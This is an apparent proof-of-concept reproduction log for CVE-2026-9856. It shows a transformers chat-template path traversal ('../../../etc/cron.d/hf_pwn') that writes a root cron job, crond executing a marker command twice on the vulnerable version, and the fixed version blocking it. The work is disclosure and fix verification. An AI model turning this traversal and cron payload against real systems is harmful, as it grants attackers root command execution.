[repro] === CVE-2026-9856: transformers path traversal -> cronie execution === [repro] runtime base fedora:42 already present [repro] runtime image identity: fedora@sha256:99e203b80b1c3d8f7e161ec10a68fd02b081ef83a3963553e513c82846b97814 [repro] source anchor verified: 47949d3a0e1cf9248f2a3eb3cd0deb12ee37b9e9 lacks guard; eaaaf8494dd5386634ae37d1d122212fdc315be5 contains it [repro] building real vulnerable transformers==5.9.0 + cronie image DEPRECATED: The legacy builder is deprecated and will be removed in a future release. Install the buildx component to build images with BuildKit: https://docs.docker.com/go/buildx/ Sending build context to Docker daemon 8.192kB Step 1/6 : ARG BASE_IMAGE=fedora:42 Step 2/6 : FROM ${BASE_IMAGE} ---> 8c219b734f78 Step 3/6 : ARG TRANSFORMERS_VERSION ---> Using cache ---> dc9b5de0c1d5 Step 4/6 : RUN dnf -y -q install cronie python3 python3-pip procps-ng && dnf clean all && python3 -m pip install --no-cache-dir --break-system-packages "transformers==${TRANSFORMERS_VERSION}" ---> Using cache ---> 76d6d10e22e4 Step 5/6 : COPY hf_cron_exploit.py /opt/hf_cron_exploit.py ---> Using cache ---> 1230365bd335 Step 6/6 : RUN chmod 0755 /opt/hf_cron_exploit.py && mkdir -p /proof /work && chmod 0777 /proof /work ---> Using cache ---> ac112867acbf Successfully built ac112867acbf Successfully tagged cve-2026-9856:vulnerable [repro] building real fixed transformers==5.10.1 + cronie image DEPRECATED: The legacy builder is deprecated and will be removed in a future release. Install the buildx component to build images with BuildKit: https://docs.docker.com/go/buildx/ Sending build context to Docker daemon 8.192kB Step 1/6 : ARG BASE_IMAGE=fedora:42 Step 2/6 : FROM ${BASE_IMAGE} ---> 8c219b734f78 Step 3/6 : ARG TRANSFORMERS_VERSION ---> Using cache ---> dc9b5de0c1d5 Step 4/6 : RUN dnf -y -q install cronie python3 python3-pip procps-ng && dnf clean all && python3 -m pip install --no-cache-dir --break-system-packages "transformers==${TRANSFORMERS_VERSION}" ---> Using cache ---> 52561ccb722f Step 5/6 : COPY hf_cron_exploit.py /opt/hf_cron_exploit.py ---> Using cache ---> 7029dc3ffa78 Step 6/6 : RUN chmod 0755 /opt/hf_cron_exploit.py && mkdir -p /proof /work && chmod 0777 /proof /work ---> Using cache ---> 45298000d4bd Successfully built 45298000d4bd Successfully tagged cve-2026-9856:fixed [repro] starting isolated vulnerable attempt 1 (transformers==5.9.0); crond starts before attacker input CROND_PARENT_PID=1 CROND_PID=23 [transformers] PyTorch was not found. Models won't be available and only tokenizers, configuration and file/data utilities can be used. PROCESS_INSTANCE=25 TRANSFORMERS_VERSION=5.9.0 MODE=marker ATTACKER_TEMPLATE_KEY=../../../etc/cron.d/hf_pwn CRON_TARGET=/etc/cron.d/hf_pwn.jinja EXPECTED_MARKER=CVE-2026-9856-RCE-VULNERABLE-1-2249 SAVE_RESULT=RETURNED CRON_FILE_PRESENT=true CRON_CONTENT_MATCH=true CRON_MODE=0o644 EXPLOIT_RC=0 [23] load_database() *system*:load_user() linenum=1 load_env, read linenum=2 load_env, read linenum=3 load_env, read linenum=4 linenum=5 linenum=6 linenum=7 linenum=8 linenum=9 linenum=10 linenum=11 linenum=12 linenum=13 linenum=14 linenum=15 ...load_user() done *system*:load_user() linenum=16 linenum=17 load_env, read linenum=18 load_env, read linenum=19 load_env, read linenum=20 load_env, read <01 * * * * root run-parts /etc/cron.hourly> load_env, not an env var, state = 7 linenum=19 load_entry()...about to eat comments load_entry()...about to parse numerics get_list()...entered set_element(?,0,59,1) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,23,0) set_element(?,0,23,1) set_element(?,0,23,2) set_element(?,0,23,3) set_element(?,0,23,4) set_element(?,0,23,5) set_element(?,0,23,6) set_element(?,0,23,7) set_element(?,0,23,8) set_element(?,0,23,9) set_element(?,0,23,10) set_element(?,0,23,11) set_element(?,0,23,12) set_element(?,0,23,13) set_element(?,0,23,14) set_element(?,0,23,15) set_element(?,0,23,16) set_element(?,0,23,17) set_element(?,0,23,18) set_element(?,0,23,19) set_element(?,0,23,20) set_element(?,0,23,21) set_element(?,0,23,22) set_element(?,0,23,23) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,31,1) set_element(?,1,31,2) set_element(?,1,31,3) set_element(?,1,31,4) set_element(?,1,31,5) set_element(?,1,31,6) set_element(?,1,31,7) set_element(?,1,31,8) set_element(?,1,31,9) set_element(?,1,31,10) set_element(?,1,31,11) set_element(?,1,31,12) set_element(?,1,31,13) set_element(?,1,31,14) set_element(?,1,31,15) set_element(?,1,31,16) set_element(?,1,31,17) set_element(?,1,31,18) set_element(?,1,31,19) set_element(?,1,31,20) set_element(?,1,31,21) set_element(?,1,31,22) set_element(?,1,31,23) set_element(?,1,31,24) set_element(?,1,31,25) set_element(?,1,31,26) set_element(?,1,31,27) set_element(?,1,31,28) set_element(?,1,31,29) set_element(?,1,31,30) set_element(?,1,31,31) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,12,1) set_element(?,1,12,2) set_element(?,1,12,3) set_element(?,1,12,4) set_element(?,1,12,5) set_element(?,1,12,6) set_element(?,1,12,7) set_element(?,1,12,8) set_element(?,1,12,9) set_element(?,1,12,10) set_element(?,1,12,11) set_element(?,1,12,12) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,7,0) set_element(?,0,7,1) set_element(?,0,7,2) set_element(?,0,7,3) set_element(?,0,7,4) set_element(?,0,7,5) set_element(?,0,7,6) set_element(?,0,7,7) get_list()...exiting w/ 72 load_entry()...about to parse username load_entry()...got root load_entry()...uid 0, gid 0 load_entry()...about to parse command linenum=20 load_entry()...returning successfully ...load_user() done unlinking old database: load_database is done *system*: [no change, using old data] [done] *system*: [no change, using old data] [done] *system*:load_user() linenum=21 load_env, read <* * * * * root /bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-1-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-1-2249.txt"> load_env, not an env var, state = 7 linenum=20 load_entry()...about to eat comments load_entry()...about to parse numerics get_list()...entered set_element(?,0,59,0) set_element(?,0,59,1) set_element(?,0,59,2) set_element(?,0,59,3) set_element(?,0,59,4) set_element(?,0,59,5) set_element(?,0,59,6) set_element(?,0,59,7) set_element(?,0,59,8) set_element(?,0,59,9) set_element(?,0,59,10) set_element(?,0,59,11) set_element(?,0,59,12) set_element(?,0,59,13) set_element(?,0,59,14) set_element(?,0,59,15) set_element(?,0,59,16) set_element(?,0,59,17) set_element(?,0,59,18) set_element(?,0,59,19) set_element(?,0,59,20) set_element(?,0,59,21) set_element(?,0,59,22) set_element(?,0,59,23) set_element(?,0,59,24) set_element(?,0,59,25) set_element(?,0,59,26) set_element(?,0,59,27) set_element(?,0,59,28) set_element(?,0,59,29) set_element(?,0,59,30) set_element(?,0,59,31) set_element(?,0,59,32) set_element(?,0,59,33) set_element(?,0,59,34) sMARKER_PRESENT=true CRON_FILE_PRESENT_AFTER_WAIT=true MARKER_CONTENT=CVE-2026-9856-RCE-VULNERABLE-1-2249 et_element(?,0,59,35) set_element(?,0,59,36) set_element(?,0,59,37) set_element(?,0,59,38) set_element(?,0,59,39) set_element(?,0,59,40) set_element(?,0,59,41) set_element(?,0,59,42) set_element(?,0,59,43) set_element(?,0,59,44) set_element(?,0,59,45) set_element(?,0,59,46) set_element(?,0,59,47) set_element(?,0,59,48) set_element(?,0,59,49) set_element(?,0,59,50) set_element(?,0,59,51) set_element(?,0,59,52) set_element(?,0,59,53) set_element(?,0,59,54) set_element(?,0,59,55) set_element(?,0,59,56) set_element(?,0,59,57) set_element(?,0,59,58) set_element(?,0,59,59) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,23,0) set_element(?,0,23,1) set_element(?,0,23,2) set_element(?,0,23,3) set_element(?,0,23,4) set_element(?,0,23,5) set_element(?,0,23,6) set_element(?,0,23,7) set_element(?,0,23,8) set_element(?,0,23,9) set_element(?,0,23,10) set_element(?,0,23,11) set_element(?,0,23,12) set_element(?,0,23,13) set_element(?,0,23,14) set_element(?,0,23,15) set_element(?,0,23,16) set_element(?,0,23,17) set_element(?,0,23,18) set_element(?,0,23,19) set_element(?,0,23,20) set_element(?,0,23,21) set_element(?,0,23,22) set_element(?,0,23,23) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,31,1) set_element(?,1,31,2) set_element(?,1,31,3) set_element(?,1,31,4) set_element(?,1,31,5) set_element(?,1,31,6) set_element(?,1,31,7) set_element(?,1,31,8) set_element(?,1,31,9) set_element(?,1,31,10) set_element(?,1,31,11) set_element(?,1,31,12) set_element(?,1,31,13) set_element(?,1,31,14) set_element(?,1,31,15) set_element(?,1,31,16) set_element(?,1,31,17) set_element(?,1,31,18) set_element(?,1,31,19) set_element(?,1,31,20) set_element(?,1,31,21) set_element(?,1,31,22) set_element(?,1,31,23) set_element(?,1,31,24) set_element(?,1,31,25) set_element(?,1,31,26) set_element(?,1,31,27) set_element(?,1,31,28) set_element(?,1,31,29) set_element(?,1,31,30) set_element(?,1,31,31) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,12,1) set_element(?,1,12,2) set_element(?,1,12,3) set_element(?,1,12,4) set_element(?,1,12,5) set_element(?,1,12,6) set_element(?,1,12,7) set_element(?,1,12,8) set_element(?,1,12,9) set_element(?,1,12,10) set_element(?,1,12,11) set_element(?,1,12,12) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,7,0) set_element(?,0,7,1) set_element(?,0,7,2) set_element(?,0,7,3) set_element(?,0,7,4) set_element(?,0,7,5) set_element(?,0,7,6) set_element(?,0,7,7) get_list()...exiting w/ 72 load_entry()...about to parse username load_entry()...got root load_entry()...uid 0, gid 0 load_entry()...about to parse command linenum=21 load_entry()...returning successfully ...load_user() done unlinking old database: check_inotify_database is done [23] do_command(/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-1-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-1-2249.txt", (*system*,0,0)) [23] main process returning to work [23] sigchld...pid #91 died, stat=0 [23] sigchld...no children ---CROND_LOG--- debug flags enabled: proc pars load [23] cron started log_it: (CRON 23) STARTUP (1.7.2) log_it: (CRON 23) INFO (Syslog will be used instead of sendmail.) log_it: (CRON 23) INFO (RANDOM_DELAY will be scaled with factor 54% if used.) log_it: (CRON 23) INFO (running with inotify support) log_it: (root 92) CMD (/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-1-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-1-2249.txt") log_it: (root 91) CMDEND (/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-1-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-1-2249.txt") log_it: (CRON 23) INFO (Shutting down) CONTAINER_ID=88a1bd4ab2c83e074e7a6f8fb2368b0cfbf5b76fca1320f1e0e7359036a547f1 IMAGE=sha256:ac112867acbf7e12fa326a49ce35c9e118b22c7db193f7b12bbdfa05b77e2f90 cve9856-vulnerable-1-2249 [repro] VULNERABLE attempt 1: crond independently spawned attacker command; marker=CVE-2026-9856-RCE-VULNERABLE-1-2249 [repro] starting isolated vulnerable attempt 2 (transformers==5.9.0); crond starts before attacker input CROND_PARENT_PID=1 CROND_PID=23 [transformers] PyTorch was not found. Models won't be available and only tokenizers, configuration and file/data utilities can be used. PROCESS_INSTANCE=25 TRANSFORMERS_VERSION=5.9.0 MODE=marker ATTACKER_TEMPLATE_KEY=../../../etc/cron.d/hf_pwn CRON_TARGET=/etc/cron.d/hf_pwn.jinja EXPECTED_MARKER=CVE-2026-9856-RCE-VULNERABLE-2-2249 SAVE_RESULT=RETURNED CRON_FILE_PRESENT=true CRON_CONTENT_MATCH=true CRON_MODE=0o644 EXPLOIT_RC=0 [23] load_database() *system*:load_user() linenum=1 load_env, read linenum=2 load_env, read linenum=3 load_env, read linenum=4 linenum=5 linenum=6 linenum=7 linenum=8 linenum=9 linenum=10 linenum=11 linenum=12 linenum=13 linenum=14 linenum=15 ...load_user() done *system*:load_user() linenum=16 linenum=17 load_env, read linenum=18 load_env, read linenum=19 load_env, read linenum=20 load_env, read <01 * * * * root run-parts /etc/cron.hourly> load_env, not an env var, state = 7 linenum=19 load_entry()...about to eat comments load_entry()...about to parse numerics get_list()...entered set_element(?,0,59,1) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,23,0) set_element(?,0,23,1) set_element(?,0,23,2) set_element(?,0,23,3) set_element(?,0,23,4) set_element(?,0,23,5) set_element(?,0,23,6) set_element(?,0,23,7) set_element(?,0,23,8) set_element(?,0,23,9) set_element(?,0,23,10) set_element(?,0,23,11) set_element(?,0,23,12) set_element(?,0,23,13) set_element(?,0,23,14) set_element(?,0,23,15) set_element(?,0,23,16) set_element(?,0,23,17) set_element(?,0,23,18) set_element(?,0,23,19) set_element(?,0,23,20) set_element(?,0,23,21) set_element(?,0,23,22) set_element(?,0,23,23) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,31,1) set_element(?,1,31,2) set_element(?,1,31,3) set_element(?,1,31,4) set_element(?,1,31,5) set_element(?,1,31,6) set_element(?,1,31,7) set_element(?,1,31,8) set_element(?,1,31,9) set_element(?,1,31,10) set_element(?,1,31,11) set_element(?,1,31,12) set_element(?,1,31,13) set_element(?,1,31,14) set_element(?,1,31,15) set_element(?,1,31,16) set_element(?,1,31,17) set_element(?,1,31,18) set_element(?,1,31,19) set_element(?,1,31,20) set_element(?,1,31,21) set_element(?,1,31,22) set_element(?,1,31,23) set_element(?,1,31,24) set_element(?,1,31,25) set_element(?,1,31,26) set_element(?,1,31,27) set_element(?,1,31,28) set_element(?,1,31,29) set_element(?,1,31,30) set_element(?,1,31,31) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,12,1) set_element(?,1,12,2) set_element(?,1,12,3) set_element(?,1,12,4) set_element(?,1,12,5) set_element(?,1,12,6) set_element(?,1,12,7) set_element(?,1,12,8) set_element(?,1,12,9) set_element(?,1,12,10) set_element(?,1,12,11) set_element(?,1,12,12) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,7,0) set_element(?,0,7,1) set_element(?,0,7,2) set_element(?,0,7,3) set_element(?,0,7,4) set_element(?,0,7,5) set_element(?,0,7,6) set_element(?,0,7,7) get_list()...exiting w/ 72 load_entry()...about to parse username load_entry()...got root load_entry()...uid 0, gid 0 load_entry()...about to parse command linenum=20 load_entry()...returning successfully ...load_user() done unlinking old database: load_database is done *system*: [no change, using old data] [done] *system*: [no change, using old data] [done] *system*:load_user() linenum=21 load_env, read <* * * * * root /bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-2-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-2-2249.txt"> load_env, not an env var, state = 7 linenum=20 load_entry()...about to eat comments load_entry()...about to parse numerics get_list()...entered set_element(?,0,59,0) set_element(?,0,59,1) set_element(?,0,59,2) set_element(?,0,59,3) set_element(?,0,59,4) set_element(?,0,59,5) set_element(?,0,59,6) set_element(?,0,59,7) set_element(?,0,59,8) set_element(?,0,59,9) set_element(?,0,59,10) set_element(?,0,59,11) set_element(?,0,59,12) set_element(?,0,59,13) set_element(?,0,59,14) set_element(?,0,59,15) set_element(?,0,59,16) set_element(?,0,59,17) set_element(?,0,59,18) set_element(?,0,59,19) set_element(?,0,59,20) set_element(?,0,59,21) set_element(?,0,59,22) set_element(?,0,59,23) set_element(?,0,59,24) set_element(?,0,59,25) set_element(?,0,59,26) set_element(?,0,59,27) set_element(?,0,59,28) set_element(?,0,59,29) set_element(?,0,59,30) set_element(?,0,59,31) set_element(?,0,59,32) set_element(?,0,59,33) set_element(?,0,59,34) sMARKER_PRESENT=true CRON_FILE_PRESENT_AFTER_WAIT=true MARKER_CONTENT=CVE-2026-9856-RCE-VULNERABLE-2-2249 et_element(?,0,59,35) set_element(?,0,59,36) set_element(?,0,59,37) set_element(?,0,59,38) set_element(?,0,59,39) set_element(?,0,59,40) set_element(?,0,59,41) set_element(?,0,59,42) set_element(?,0,59,43) set_element(?,0,59,44) set_element(?,0,59,45) set_element(?,0,59,46) set_element(?,0,59,47) set_element(?,0,59,48) set_element(?,0,59,49) set_element(?,0,59,50) set_element(?,0,59,51) set_element(?,0,59,52) set_element(?,0,59,53) set_element(?,0,59,54) set_element(?,0,59,55) set_element(?,0,59,56) set_element(?,0,59,57) set_element(?,0,59,58) set_element(?,0,59,59) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,23,0) set_element(?,0,23,1) set_element(?,0,23,2) set_element(?,0,23,3) set_element(?,0,23,4) set_element(?,0,23,5) set_element(?,0,23,6) set_element(?,0,23,7) set_element(?,0,23,8) set_element(?,0,23,9) set_element(?,0,23,10) set_element(?,0,23,11) set_element(?,0,23,12) set_element(?,0,23,13) set_element(?,0,23,14) set_element(?,0,23,15) set_element(?,0,23,16) set_element(?,0,23,17) set_element(?,0,23,18) set_element(?,0,23,19) set_element(?,0,23,20) set_element(?,0,23,21) set_element(?,0,23,22) set_element(?,0,23,23) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,31,1) set_element(?,1,31,2) set_element(?,1,31,3) set_element(?,1,31,4) set_element(?,1,31,5) set_element(?,1,31,6) set_element(?,1,31,7) set_element(?,1,31,8) set_element(?,1,31,9) set_element(?,1,31,10) set_element(?,1,31,11) set_element(?,1,31,12) set_element(?,1,31,13) set_element(?,1,31,14) set_element(?,1,31,15) set_element(?,1,31,16) set_element(?,1,31,17) set_element(?,1,31,18) set_element(?,1,31,19) set_element(?,1,31,20) set_element(?,1,31,21) set_element(?,1,31,22) set_element(?,1,31,23) set_element(?,1,31,24) set_element(?,1,31,25) set_element(?,1,31,26) set_element(?,1,31,27) set_element(?,1,31,28) set_element(?,1,31,29) set_element(?,1,31,30) set_element(?,1,31,31) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,12,1) set_element(?,1,12,2) set_element(?,1,12,3) set_element(?,1,12,4) set_element(?,1,12,5) set_element(?,1,12,6) set_element(?,1,12,7) set_element(?,1,12,8) set_element(?,1,12,9) set_element(?,1,12,10) set_element(?,1,12,11) set_element(?,1,12,12) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,7,0) set_element(?,0,7,1) set_element(?,0,7,2) set_element(?,0,7,3) set_element(?,0,7,4) set_element(?,0,7,5) set_element(?,0,7,6) set_element(?,0,7,7) get_list()...exiting w/ 72 load_entry()...about to parse username load_entry()...got root load_entry()...uid 0, gid 0 load_entry()...about to parse command linenum=21 load_entry()...returning successfully ...load_user() done unlinking old database: check_inotify_database is done [23] do_command(/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-2-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-2-2249.txt", (*system*,0,0)) [23] main process returning to work [23] sigchld...pid #115 died, stat=0 [23] sigchld...no children ---CROND_LOG--- debug flags enabled: proc pars load [23] cron started log_it: (CRON 23) STARTUP (1.7.2) log_it: (CRON 23) INFO (Syslog will be used instead of sendmail.) log_it: (CRON 23) INFO (RANDOM_DELAY will be scaled with factor 56% if used.) log_it: (CRON 23) INFO (running with inotify support) log_it: (root 116) CMD (/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-2-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-2-2249.txt") log_it: (root 115) CMDEND (/bin/sh -c "echo 'CVE-2026-9856-RCE-VULNERABLE-2-2249' > /proof/CVE-2026-9856-RCE-VULNERABLE-2-2249.txt") log_it: (CRON 23) INFO (Shutting down) CONTAINER_ID=bc276410ed36717e56c27b54694430c6cd0863c51f9c0b6aae780f699f77ef5e IMAGE=sha256:ac112867acbf7e12fa326a49ce35c9e118b22c7db193f7b12bbdfa05b77e2f90 cve9856-vulnerable-2-2249 [repro] VULNERABLE attempt 2: crond independently spawned attacker command; marker=CVE-2026-9856-RCE-VULNERABLE-2-2249 [repro] starting isolated fixed attempt 1 (transformers==5.10.1); crond starts before attacker input CROND_PARENT_PID=1 CROND_PID=23 [transformers] PyTorch was not found. Models won't be available and only tokenizers, configuration and file/data utilities can be used. PROCESS_INSTANCE=25 TRANSFORMERS_VERSION=5.10.1 MODE=marker ATTACKER_TEMPLATE_KEY=../../../etc/cron.d/hf_pwn CRON_TARGET=/etc/cron.d/hf_pwn.jinja EXPECTED_MARKER=CVE-2026-9856-RCE-FIXED-1-2249 SAVE_RESULT=BLOCKED BLOCK_REASON=Invalid chat template name: '../../../etc/cron.d/hf_pwn' CRON_FILE_PRESENT=false EXPLOIT_RC=3 MARKER_PRESENT=false CRON_FILE_PRESENT_AFTER_WAIT=false [23] load_database() *system*:load_user() linenum=1 load_env, read linenum=2 load_env, read linenum=3 load_env, read linenum=4 linenum=5 linenum=6 linenum=7 linenum=8 linenum=9 linenum=10 linenum=11 linenum=12 linenum=13 linenum=14 linenum=15 ...load_user() done *system*:load_user() linenum=16 linenum=17 load_env, read linenum=18 load_env, read linenum=19 load_env, read linenum=20 load_env, read <01 * * * * root run-parts /etc/cron.hourly> load_env, not an env var, state = 7 linenum=19 load_entry()...about to eat comments load_entry()...about to parse numerics get_list()...entered set_element(?,0,59,1) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,23,0) set_element(?,0,23,1) set_element(?,0,23,2) set_element(?,0,23,3) set_element(?,0,23,4) set_element(?,0,23,5) set_element(?,0,23,6) set_element(?,0,23,7) set_element(?,0,23,8) set_element(?,0,23,9) set_element(?,0,23,10) set_element(?,0,23,11) set_element(?,0,23,12) set_element(?,0,23,13) set_element(?,0,23,14) set_element(?,0,23,15) set_element(?,0,23,16) set_element(?,0,23,17) set_element(?,0,23,18) set_element(?,0,23,19) set_element(?,0,23,20) set_element(?,0,23,21) set_element(?,0,23,22) set_element(?,0,23,23) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,31,1) set_element(?,1,31,2) set_element(?,1,31,3) set_element(?,1,31,4) set_element(?,1,31,5) set_element(?,1,31,6) set_element(?,1,31,7) set_element(?,1,31,8) set_element(?,1,31,9) set_element(?,1,31,10) set_element(?,1,31,11) set_element(?,1,31,12) set_element(?,1,31,13) set_element(?,1,31,14) set_element(?,1,31,15) set_element(?,1,31,16) set_element(?,1,31,17) set_element(?,1,31,18) set_element(?,1,31,19) set_element(?,1,31,20) set_element(?,1,31,21) set_element(?,1,31,22) set_element(?,1,31,23) set_element(?,1,31,24) set_element(?,1,31,25) set_element(?,1,31,26) set_element(?,1,31,27) set_element(?,1,31,28) set_element(?,1,31,29) set_element(?,1,31,30) set_element(?,1,31,31) get_list()...exiting w/ 2a get_list()...entered set_element(?,1,12,1) set_element(?,1,12,2) set_element(?,1,12,3) set_element(?,1,12,4) set_element(?,1,12,5) set_element(?,1,12,6) set_element(?,1,12,7) set_element(?,1,12,8) set_element(?,1,12,9) set_element(?,1,12,10) set_element(?,1,12,11) set_element(?,1,12,12) get_list()...exiting w/ 2a get_list()...entered set_element(?,0,7,0) set_element(?,0,7,1) set_element(?,0,7,2) set_element(?,0,7,3) set_element(?,0,7,4) set_element(?,0,7,5) set_element(?,0,7,6) set_element(?,0,7,7) get_list()...exiting w/ 72 load_entry()...about to parse username load_entry()...got root load_entry()...uid 0, gid 0 load_entry()...about to parse command linenum=20 load_entry()...returning successfully ...load_user() done unlinking old database: load_database is done ---CROND_LOG--- debug flags enabled: proc pars load [23] cron started log_it: (CRON 23) STARTUP (1.7.2) log_it: (CRON 23) INFO (Syslog will be used instead of sendmail.) log_it: (CRON 23) INFO (RANDOM_DELAY will be scaled with factor 51% if used.) log_it: (CRON 23) INFO (running with inotify support) log_it: (CRON 23) INFO (Shutting down) CONTAINER_ID=8445206b016eb8c35824190bbf2c8972c2eb4f84b0e55bd1976380c976d708a0 IMAGE=sha256:45298000d4bddd3bfdb290bc5f0063fff8d6bd224c1d25ff4835e5a4677aa834 cve9856-fixed-1-2249 [repro] FIXED control: identical artifact rejected; no cron file and no execution marker [repro] === CONFIRMED: save_pretrained path traversal caused genuine crond command execution twice; fixed build blocked identical artifact ===